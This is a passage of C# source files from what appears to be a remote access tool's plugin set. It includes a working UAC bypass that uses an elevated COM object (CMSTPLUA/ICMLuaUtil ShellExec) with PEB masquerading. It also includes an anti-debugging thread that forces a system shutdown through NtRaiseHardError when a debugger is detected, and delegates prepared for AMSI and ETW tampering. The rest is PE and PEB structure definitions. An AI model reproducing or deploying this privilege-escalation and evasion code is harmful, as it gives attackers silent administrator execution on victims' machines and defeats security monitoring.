ValidResponseOption, out HARDERROR_RESPONSE Response ); static RtlAdjustPrivilege rtlAdjustPrivilege; static NtRaiseHardError ntRaiseHardError; static void PrepareDelegate() { IntPtr rtlAdjustPriv= Resolver.GetExportAddress("ntdll.dll", "RtlAdjustPrivilege"); IntPtr ntRaiseHard = Resolver.GetExportAddress("ntdll.dll", "NtRaiseHardError"); rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege)); ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError)); }*/ internal static void BlockIt() { //PrepareDelegate(); new Thread(() => { isThreadLaunched = true; while (true) { IntPtr addPeb = GetPebAddressDynamicWithoutAllocate(); byte offset = Marshal.ReadByte(addPeb + 2); bool b = (offset != 0); if (b) { NtStatus seShutdownStatus = rtlAdjustPrivilege(RTL_PRIVILEGES.SeShutdownPrivilege, true, false, out _); if (seShutdownStatus == NtStatus.Success) { HARDERROR_RESPONSE response = HARDERROR_RESPONSE.ResponseNotHandled; ntRaiseHardError(errorCode, 0, 0, IntPtr.Zero, HARDERROR_RESPONSE_OPTION.OptionShutdownSystem, out response); } } Thread.Sleep(10000); } }).Start(); } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/COM.cs ================================================ using System; using System.Runtime.InteropServices; using System.Text; using static Offline.Special.Commons; /* || AUTHOR https://www.796t.com/article.php?id=182188 || || Found https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/ || || Original https://github.com/0xlane/BypassUAC || || Found https://github.com/kosh-cyber/BypassUac || || github : https://github.com/arsium || || This method combines PEB masquerading + abusing com object. Reworked the method from original method to make them working with x64 + manually resolve syscalls + testing some methods :)|| */ namespace Offline.Special { internal class COM { private unsafe static object LaunchElevatedCOMObjectUnsafe(Guid Clsid, Guid InterfaceID) { string CLSID = Clsid.ToString("B"); // B formatting directive: returns {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} string monikerName = "Elevation:Administrator!new:" + CLSID; BIND_OPTS3 bo = new BIND_OPTS3(); bo.cbStruct = (uint)Marshal.SizeOf(bo); bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER; void* retVal; int h = coGetObject(Encoding.Unicode.GetBytes(monikerName), &bo, &InterfaceID, &retVal); if (h != 0) return null; return Marshal.GetObjectForIUnknown((IntPtr)retVal); } internal unsafe static Parser.HRESULT Start(string filePath, string param = null) { //3E000D72-A845-4CD9-BD83-80C07C3B881F this one works but weird way with prompt (auto approval = false) //3E5FC7F9-9A51-4367-9063-A120244FBEC7 Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7"); //D4309536-E369-4241-A4DD-3D10A257A1C2 //6EDD6D74-C007-4E75-B76A-E5740995E24C Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"); object elvObject = LaunchElevatedCOMObjectUnsafe(classId, interfaceId); if (elvObject != null) { ILua ihw = (ILua)elvObject; ihw.ShellExec(filePath, null, null, 0, 5); Marshal.ReleaseComObject(elvObject); return Parser.HRESULT.S_OK; } return Parser.HRESULT.S_FALSE; } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal partial class Commons { [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate void RtlInitUnicodeString ( ref UnicodeString DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString ); [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate void RtlEnterCriticalSection(IntPtr lpCriticalSection); [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate void RtlLeaveCriticalSection(IntPtr lpCriticalSection); [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal unsafe delegate int CoGetObject ( byte[] pszName, BIND_OPTS3* pBindOptions, Guid* riid, void** rReturnedComObject ); [UnmanagedFunctionPointer(CallingConvention.StdCall)] internal unsafe delegate NtStatus NtProtectVirtualMemory ( void* ProcessHandle, void* BaseAddress, uint* NumberOfBytesToProtect, PageAccessType NewAccessProtection, PageAccessType* OldAccessProtection ); [UnmanagedFunctionPointer(CallingConvention.StdCall)]//Cdecl FOR MANUAL SYSCALL, StdCall otherwise internal delegate uint NtWriteVirtualMemory ( IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr buffer, UIntPtr bufferSize, out UIntPtr written ); [UnmanagedFunctionPointer(CallingConvention.StdCall)] internal unsafe delegate NtStatus NtAllocateVirtualMemory ( void* ProcessHandle, void* BaseAddress, uint ZeroBits, uint* RegionSize, MemoryAllocationType AllocationType, PageAccessType Protect ); #region "AMSI" [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate IntPtr LoadLibrary ( byte[] name ); [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate bool VirtualProtect ( IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); internal static LoadLibrary loadLibrary; internal static VirtualProtect virtualProtect; #endregion #region "AntiDBG" [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate NtStatus RtlAdjustPrivilege ( RTL_PRIVILEGES privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue ); [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate NtStatus NtRaiseHardError ( uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, HARDERROR_RESPONSE_OPTION ValidResponseOption, out HARDERROR_RESPONSE Response ); internal static RtlAdjustPrivilege rtlAdjustPrivilege; internal static NtRaiseHardError ntRaiseHardError; #endregion #region "ETW" internal delegate NtStatus NtProtectVirtualMemorySafe ( IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint NumberOfBytesToProtect, PageAccessType NewAccessProtection, ref PageAccessType OldAccessProtection ); internal static NtProtectVirtualMemorySafe ntProtectVirtualMemorySafe; #endregion #region "PEFromPEB" [UnmanagedFunctionPointer(CallingConvention.Winapi)] internal delegate NtStatus NtWriteVirtualMemorySafe ( IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, uint NumberOfBytesToWrite, out uint NumberOfBytesWritten ); internal static NtWriteVirtualMemorySafe ntWriteVirtualMemorySafe; #endregion internal static NtProtectVirtualMemory ntProtectVirtualMemory; internal static NtWriteVirtualMemory ntWriteVirtualMemory; internal static RtlInitUnicodeString rtlInitUnicodeString; internal static RtlEnterCriticalSection rtlEnterCriticalSection; internal static RtlLeaveCriticalSection rtlLeaveCriticalSection; //private static NtQueryInformationProcessDel ntQueryInformationProcess; internal static CoGetObject coGetObject; } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Enums.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal static partial class Commons { #region "PE" internal enum MagicType : ushort { IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, //PE32 IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b, //PE32+ IMAGE_ROM_OPTIONAL_HDR_MAGIC = 0x107 } internal enum SubSystemType : ushort { IMAGE_SUBSYSTEM_UNKNOWN = 0, IMAGE_SUBSYSTEM_NATIVE = 1, IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, IMAGE_SUBSYSTEM_OS2_CUI = 5, IMAGE_SUBSYSTEM_POSIX_CUI = 7, IMAGE_SUBSYSTEM_NATIVE_WINDOWS = 8, IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, IMAGE_SUBSYSTEM_EFI_ROM = 13, IMAGE_SUBSYSTEM_XBOX = 14, IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16, IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG = 17 } internal enum DllCharacteristics : ushort { IMAGE_LIBRARY_PROCESS_INIT = 0x0001,//RES_0 IMAGE_LIBRARY_PROCESS_TERM = 0x0002,//RES_1 IMAGE_LIBRARY_THREAD_INIT = 0x0004,//RES_2 IMAGE_LIBRARY_THREAD_TERM = 0x0008,//RES_3 IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA = 0x0020, IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, IMAGE_DLLCHARACTERISTICS_APPCONTAINER = 0x1000,//RES_4 IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000, IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 } internal enum Characteristics : ushort { IMAGE_FILE_RELOCS_STRIPPED = 0x0001, IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002, IMAGE_FILE_LINE_NUMS_STRIPPED = 0x0004, IMAGE_FILE_LOCAL_SYMS_STRIPPED = 0x0008, IMAGE_FILE_AGGRESIVE_WS_TRIM = 0x0010, IMAGE_FILE_LARGE_ADDRESS_AWARE = 0x0020, IMAGE_FILE_BYTES_REVERSED_LO = 0x0080, IMAGE_FILE_32BIT_MACHINE = 0x0100, IMAGE_FILE_DEBUG_STRIPPED = 0x0200, IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = 0x0400, IMAGE_FILE_NET_RUN_FROM_SWAP = 0x0800, IMAGE_FILE_SYSTEM = 0x1000, IMAGE_FILE_DLL = 0x2000, IMAGE_FILE_UP_SYSTEM_ONLY = 0x4000, IMAGE_FILE_BYTES_REVERSED_HI = 0x8000 } internal enum Machine : ushort { IMAGE_FILE_MACHINE_UNKNOWN = 0, IMAGE_FILE_MACHINE_TARGET_HOST = 0x0001, // Useful for indicating we want to interact with the host and not a WoW guest. IMAGE_FILE_MACHINE_I386 = 0x014c, // Intel 386. IMAGE_FILE_MACHINE_R3000 = 0x0162, // MIPS little-endian, =0x160 big-endian IMAGE_FILE_MACHINE_R4000 = 0x0166,// MIPS little-endian IMAGE_FILE_MACHINE_R10000 = 0x0168,// MIPS little-endian IMAGE_FILE_MACHINE_WCEMIPSV2 = 0x0169,// MIPS little-endian WCE v2 IMAGE_FILE_MACHINE_ALPHA = 0x0184,// Alpha_AXP IMAGE_FILE_MACHINE_SH3 = 0x01a2,// SH3 little-endian IMAGE_FILE_MACHINE_SH3DSP = 0x01a3, IMAGE_FILE_MACHINE_SH3E = 0x01a4, // SH3E little-endian IMAGE_FILE_MACHINE_SH4 = 0x01a6, // SH4 little-endian IMAGE_FILE_MACHINE_SH5 = 0x01a8,// SH5 IMAGE_FILE_MACHINE_ARM = 0x01c0,// ARM Little-Endian IMAGE_FILE_MACHINE_THUMB = 0x01c2,// ARM Thumb/Thumb-2 Little-Endian IMAGE_FILE_MACHINE_ARMNT = 0x01c4,// ARM Thumb-2 Little-Endian IMAGE_FILE_MACHINE_AM33 = 0x01d3, IMAGE_FILE_MACHINE_POWERPC = 0x01F0, // IBM PowerPC Little-Endian IMAGE_FILE_MACHINE_POWERPCFP = 0x01f1, IMAGE_FILE_MACHINE_IA64 = 0x0200, // Intel 64 IMAGE_FILE_MACHINE_MIPS16 = 0x0266, // MIPS IMAGE_FILE_MACHINE_ALPHA64 = 0x0284,// ALPHA64 IMAGE_FILE_MACHINE_MIPSFPU = 0x0366,// MIPS IMAGE_FILE_MACHINE_MIPSFPU16 = 0x0466,// MIPS IMAGE_FILE_MACHINE_AXP64 = IMAGE_FILE_MACHINE_ALPHA64, IMAGE_FILE_MACHINE_TRICORE = 0x0520,// Infineon IMAGE_FILE_MACHINE_CEF = 0x0CEF, IMAGE_FILE_MACHINE_EBC = 0x0EBC, // EFI Byte Code IMAGE_FILE_MACHINE_AMD64 = 0x8664,// AMD64 (K8) IMAGE_FILE_MACHINE_M32R = 0x9041,// M32R little-endian IMAGE_FILE_MACHINE_ARM64 = 0xAA64,// ARM64 Little-Endian IMAGE_FILE_MACHINE_CEE = 0xC0EE } #endregion #region "Process" internal enum ProcessInfoClass { ProcessBasicInformation = 0, ProcessQuotaLimits = 1, ProcessIoCounters = 2, ProcessVmCounters = 3, ProcessTimes = 4, ProcessBasePriority = 5, ProcessRaisePriority = 6, ProcessDebugPort = 7, ProcessExceptionPort = 8, ProcessAccessToken = 9, ProcessLdtInformation = 10, ProcessLdtSize = 11, ProcessDefaultHardErrorMode = 12, ProcessIoPortHandlers = 13, ProcessPooledUsageAndLimits = 14, ProcessWorkingSetWatch = 15, ProcessUserModeIOPL = 16, ProcessEnableAlignmentFaultFixup = 17, ProcessPriorityClass = 18, ProcessWx86Information = 19, ProcessHandleCount = 20, ProcessAffinityMask = 21, ProcessPriorityBoost = 22, ProcessDeviceMap = 23, ProcessSessionInformation = 24, ProcessForegroundInformation = 25, ProcessWow64Information = 26, ProcessImageFileName = 27, ProcessLUIDDeviceMapsEnabled = 28, ProcessBreakOnTermination = 29, ProcessDebugObjectHandle = 30, ProcessDebugFlags = 31, ProcessHandleTracing = 32, ProcessExecuteFlags = 34, ProcessTlsInformation = 35, ProcessCookie = 36, ProcessImageInformation = 37, ProcessCycleTime = 38, ProcessPagePriority = 39, ProcessInstrumentationCallback = 40, ProcessThreadStackAllocation = 41, ProcessWorkingSetWatchEx = 42, ProcessImageFileNameWin32 = 43, ProcessImageFileMapping = 44, ProcessAffinityUpdateMode = 45, ProcessMemoryAllocationMode = 46, ProcessGroupInformation = 47, ProcessTokenVirtualizationEnabled = 48, ProcessConsoleHostProcess = 49, ProcessWindowInformation = 50, MaxProcessInfoClass } internal enum NtStatus : uint { Success = 0, Informational = 0x40000000, Error = 0xc0000000 } [Flags] internal enum PebFlags : byte { None = 0, ImageUsesLargePages = 0x01, IsProtectedProcess = 0x02, IsImageDynamicallyRelocated = 0x04, SkipPatchingUser32Forwarders = 0x08, IsPackagedProcess = 0x10, IsAppContainer = 0x20, IsProtectedProcessLight = 0x40, IsLongPathAwareProcess = 0x80, } internal enum SubSystemType4Bytes : uint { IMAGE_SUBSYSTEM_UNKNOWN = 0, IMAGE_SUBSYSTEM_NATIVE = 1, IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, IMAGE_SUBSYSTEM_OS2_CUI = 5, IMAGE_SUBSYSTEM_POSIX_CUI = 7, IMAGE_SUBSYSTEM_NATIVE_WINDOWS = 8, IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, IMAGE_SUBSYSTEM_EFI_ROM = 13, IMAGE_SUBSYSTEM_XBOX = 14, IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16, IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG = 17 } [Flags] internal enum PageAccessType : uint { PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_GUARD = 0x100, PAGE_NOCACHE = 0x200, PAGE_WRITECOMBINE = 0x400, PAGE_GRAPHICS_NOACCESS = 0x0800, PAGE_GRAPHICS_READONLY = 0x1000, PAGE_GRAPHICS_READWRITE = 0x2000, PAGE_GRAPHICS_EXECUTE = 0x4000, PAGE_GRAPHICS_EXECUTE_READ = 0x8000, PAGE_GRAPHICS_EXECUTE_READWRITE = 0x10000, PAGE_GRAPHICS_COHERENT = 0x20000, PAGE_GRAPHICS_NOCACHE = 0x40000, PAGE_ENCLAVE_THREAD_CONTROL = 0x80000000, PAGE_REVERT_TO_FILE_MAP = 0x80000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, PAGE_TARGETS_INVALID = 0x40000000, PAGE_ENCLAVE_UNVALIDATED = 0x20000000, PAGE_ENCLAVE_MASK = 0x10000000, PAGE_ENCLAVE_DECOMMIT = (PAGE_ENCLAVE_MASK | 0), PAGE_ENCLAVE_SS_FIRST = (PAGE_ENCLAVE_MASK | 1), PAGE_ENCLAVE_SS_REST = (PAGE_ENCLAVE_MASK | 2) } [Flags] internal enum MemoryAllocationType : uint { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_REPLACE_PLACEHOLDER = 0x00004000, MEM_RESERVE_PLACEHOLDER = 0x00040000, MEM_RESET = 0x00080000, MEM_TOP_DOWN = 0x00100000, MEM_WRITE_WATCH = 0x00200000, MEM_PHYSICAL = 0x00400000, MEM_ROTATE = 0x00800000, MEM_DIFFERENT_IMAGE_BASE_OK = 0x00800000, MEM_RESET_UNDO = 0x01000000, MEM_LARGE_PAGES = 0x20000000, MEM_4MB_PAGES = 0x80000000, MEM_64K_PAGES = (MEM_LARGE_PAGES | MEM_PHYSICAL), MEM_UNMAP_WITH_TRANSIENT_BOOST = 0x00000001, MEM_COALESCE_PLACEHOLDERS = 0x00000001, MEM_PRESERVE_PLACEHOLDER = 0x00000002, MEM_DECOMMIT = 0x00004000, MEM_RELEASE = 0x00008000, MEM_FREE = 0x00010000 } #endregion #region "COM Object" [Flags] internal enum CLSCTX { CLSCTX_INPROC_SERVER = 0x1, CLSCTX_INPROC_HANDLER = 0x2, CLSCTX_LOCAL_SERVER = 0x4, CLSCTX_REMOTE_SERVER = 0x10, CLSCTX_NO_CODE_DOWNLOAD = 0x400, CLSCTX_NO_CUSTOM_MARSHAL = 0x1000, CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000, CLSCTX_NO_FAILURE_LOG = 0x4000, CLSCTX_DISABLE_AAA = 0x8000, CLSCTX_ENABLE_AAA = 0x10000, CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000, CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER, CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER } #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Functions.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal static partial class Commons { [UnmanagedFunctionPointer(CallingConvention.Cdecl)]//for manual shellcode private delegate IntPtr GetPeb(); internal static IntPtr GetPebAddressDynamicWithoutAllocate() { IntPtr pebFunction = Resolver.GetExportAddress("ntdll.dll", "RtlGetCurrentPeb"); GetPeb pebAddress = (GetPeb)Marshal.GetDelegateForFunctionPointer(pebFunction, typeof(GetPeb)); return pebAddress(); } internal static T ReadStructAt(IntPtr pStructure) { int size = Marshal.SizeOf(typeof(T)); IntPtr ptr = Marshal.AllocHGlobal(size); CopyMemory(ptr, pStructure, (uint)size); T res = (T)Marshal.PtrToStructure(ptr, typeof(T)); Marshal.FreeHGlobal(ptr); return res; } [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern void CopyMemory ( IntPtr pDest, IntPtr pSrc, uint length ); [DllImport("ntdll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] internal static extern NtStatus NtQueryInformationProcess ( IntPtr ProcessHandle, ProcessInfoClass ProcessInforationClass, IntPtr ProcessInformation, uint ProcessInformationLength, out uint ReturnLength ); } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs ================================================ using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; namespace Offline.Special { internal static partial class Commons { [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] internal interface ILua { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] void Method1(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] void Method2(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] void Method3(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] void Method4(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] void Method5(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] void Method6(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] Parser.HRESULT ShellExec( [In, MarshalAs(UnmanagedType.LPWStr)] string file, [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters, [In, MarshalAs(UnmanagedType.LPWStr)] string directory, [In] uint fMask, [In] uint nShow); } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal static partial class Commons { #region "PE" [StructLayout(LayoutKind.Sequential)] internal struct ImageDosHeader { public ushort e_magic; // Magic number public ushort e_cblp; // Bytes on last page of file public ushort e_cp; // Pages in file public ushort e_crlc; // Relocations public ushort e_cparhdr; // Size of header in paragraphs public ushort e_minalloc; // Minimum extra paragraphs needed public ushort e_maxalloc; // Maximum extra paragraphs needed public ushort e_ss; // Initial (relative) SS value public ushort e_sp; // Initial SP value public ushort e_csum; // Checksum public ushort e_ip; // Initial IP value public ushort e_cs; // Initial (relative) CS value public ushort e_lfarlc; // File address of relocation table public ushort e_ovno; // Overlay number public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words // WORD e_res[4]; public ushort e_oemid; // OEM identifier (for e_oeminfo) public ushort e_oeminfo; // OEM information; e_oemid specific public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words WORD e_res2[10]; public int e_lfanew; // File address of new exe header } [StructLayout(LayoutKind.Sequential)] internal struct ImageOptionalHeader32 { public MagicType Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public uint BaseOfData; public uint ImageBaseLong; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public SubSystemType Subsystem; public DllCharacteristics DllCharacteristics; public IntPtr SizeOfStackReserve; public IntPtr SizeOfStackCommit; public IntPtr SizeOfHeapReserve; public IntPtr SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; public ImageDataDirectory ExportTable;//ImageExportDirectory public ImageDataDirectory ImportTable; public ImageDataDirectory ResourceTable;//ImageResourceDirectory public ImageDataDirectory ExceptionTable; public ImageDataDirectory CertificateTable; public ImageDataDirectory BaseRelocationTable; public ImageDataDirectory Debug;//ImageDebugDirectory public ImageDataDirectory Architecture; public ImageDataDirectory GlobalPtr; public ImageDataDirectory TLSTable; public ImageDataDirectory LoadConfigTable; public ImageDataDirectory BoundImport; public ImageDataDirectory IAT; public ImageDataDirectory DelayImportDescriptor; public ImageDataDirectory CLRRuntimeHeader; public ImageDataDirectory Reserved; } [StructLayout(LayoutKind.Sequential)] internal struct ImageDataDirectory { public uint VirtualAddress; public uint Size; } [StructLayout(LayoutKind.Sequential)] internal struct ImageOptionalHeader64 { public MagicType Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public ulong ImageBaseLong; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public SubSystemType Subsystem; public DllCharacteristics DllCharacteristics; public IntPtr SizeOfStackReserve; public IntPtr SizeOfStackCommit; public IntPtr SizeOfHeapReserve; public IntPtr SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; public ImageDataDirectory ExportTable;//ImageExportDirectory public ImageDataDirectory ImportTable; public ImageDataDirectory ResourceTable;//ImageResourceDirectory public ImageDataDirectory ExceptionTable; public ImageDataDirectory CertificateTable; public ImageDataDirectory BaseRelocationTable; public ImageDataDirectory Debug;//ImageDebugDirectory public ImageDataDirectory Architecture; public ImageDataDirectory GlobalPtr; public ImageDataDirectory TLSTable; public ImageDataDirectory LoadConfigTable; public ImageDataDirectory BoundImport; public ImageDataDirectory IAT; public ImageDataDirectory DelayImportDescriptor; public ImageDataDirectory CLRRuntimeHeader; public ImageDataDirectory Reserved; } [StructLayout(LayoutKind.Explicit)] internal struct ImageExportDirectory { [FieldOffset(0)] public int Characteristics; [FieldOffset(4)] public int TimeDateStamp; [FieldOffset(8)] public short MajorVersion; [FieldOffset(10)] public short MinorVersion; [FieldOffset(12)] public int NameRVA; [FieldOffset(16)] public int OrdinalBase; [FieldOffset(20)] public int NumberOfFunctions; //Address TableEntries [FieldOffset(24)] public int NumberOfNames; // Number of Name Pointers [FieldOffset(28)] public int AddressOfFunctions; // RVA from base of image Export Address Table RVA [FieldOffset(32)] public int AddressOfNames; // RVA from base of image Name Pointer RVA [FieldOffset(36)] public int AddressOfNameOrdinals; // RVA from base of image OrdinalTable RVA } [StructLayout(LayoutKind.Sequential)] internal struct ImageFileHeader { public Machine Machine; public ushort NumberOfSections; public uint TimeDateStamp; public uint PointerToSymbolTable; public uint NumberOfSymbols; public ushort SizeOfOptionalHeader; public Characteristics Characteristics; } #endregion #region "Process" internal static readonly IntPtr CurrentProc = (IntPtr)(-1); [StructLayout(LayoutKind.Sequential)] internal struct ProcessBasicInformation { public NtStatus ExitStatus; public IntPtr PebBaseAddress; public IntPtr AffinityMask; public int BasePriority; public IntPtr UniqueProcessId; public IntPtr InheritedFromUniqueProcessId; } [StructLayout(LayoutKind.Sequential)] internal unsafe struct PEB32 { [MarshalAs(UnmanagedType.U1)] public bool InheritedAddressSpace; [MarshalAs(UnmanagedType.U1)] public bool ReadImageFileExecOptions; [MarshalAs(UnmanagedType.U1)] public bool BeingDebugged; public PebFlags PebFlags; public int Mutant; public IntPtr ImageBaseAddress; public IntPtr Ldr; // PPEB_LDR_DATA public IntPtr ProcessParameters; // PRTL_USER_PROCESS_PARAMETERS public IntPtr SubSystemData;//int public IntPtr ProcessHeap;//int public IntPtr FastPebLock;//int -> PRTL_CRITICAL_SECTION public IntPtr FastPebLockRoutine;// -> PPEBLOCKROUTINE public IntPtr FastPebUnlockRoutine; public uint EnvironmentUpdateCount; public IntPtr KernelCallbackTable; public uint Reserved1; public uint Reserved2; public IntPtr FreeList;// -> PPEB_FREE_BLOCK public uint TlsExpansionCounter; public IntPtr TlsBitmap; // -> PRTL_BITMAP public uint TlsBitmapBits1; public uint TlsBitmapBits2; public IntPtr ReadOnlySharedMemoryBase; public IntPtr ReadOnlySharedMemoryHeap; public void** ReadOnlyStaticServerData; public IntPtr AnsiCodePageData; /* 058/0a0 */ public IntPtr OemCodePageData; /* 05c/0a8 */ public IntPtr UnicodeCaseTableData; /* 060/0b0 */ public uint NumberOfProcessors; public uint NtGlobalFlags; /// public LargeInteger CriticalSectionTimeout; /* LARGE_INTEGER */ public UIntPtr HeapSegmentReserve; /* SIZE_T */ public UIntPtr HeapSegmentCommit; /* SIZE_T */ public UIntPtr HeapDeCommitTotalFreeThreshold; /* SIZE_T */ public UIntPtr HeapDeCommitFreeBlockThreshold; /* SIZE_T */ public uint NumberOfHeaps; /* 088/0e8 */ public uint MaximumNumberOfHeaps; /* 08c/0ec */ public void** ProcessHeaps; /* PVOID* */ IntPtr GdiSharedHandleTable; /* PVOID */ IntPtr ProcessStarterHelper; /* PVOID */ IntPtr GdiDCAttributeList; /* PVOID */ IntPtr LoaderLock; /* PVOID */ public uint OSMajorVersion; /* ULONG */ public uint OSMinorVersion; /* ULONG */ public uint OSBuildNumber; /* ULONG */ //WORKS public uint OSPlatformId; /* ULONG */ public SubSystemType4Bytes ImageSubSystem; /* ULONG */ public uint ImageSubSystemMajorVersion; /* ULONG */ public uint ImageSubSystemMinorVersion; /* ULONG */ public uint ImageProcessAffinityMask; /* ULONG */ } [StructLayout(LayoutKind.Sequential)] internal unsafe struct PEB64 { [MarshalAs(UnmanagedType.U1)] public bool InheritedAddressSpace; [MarshalAs(UnmanagedType.U1)] public bool ReadImageFileExecOptions; 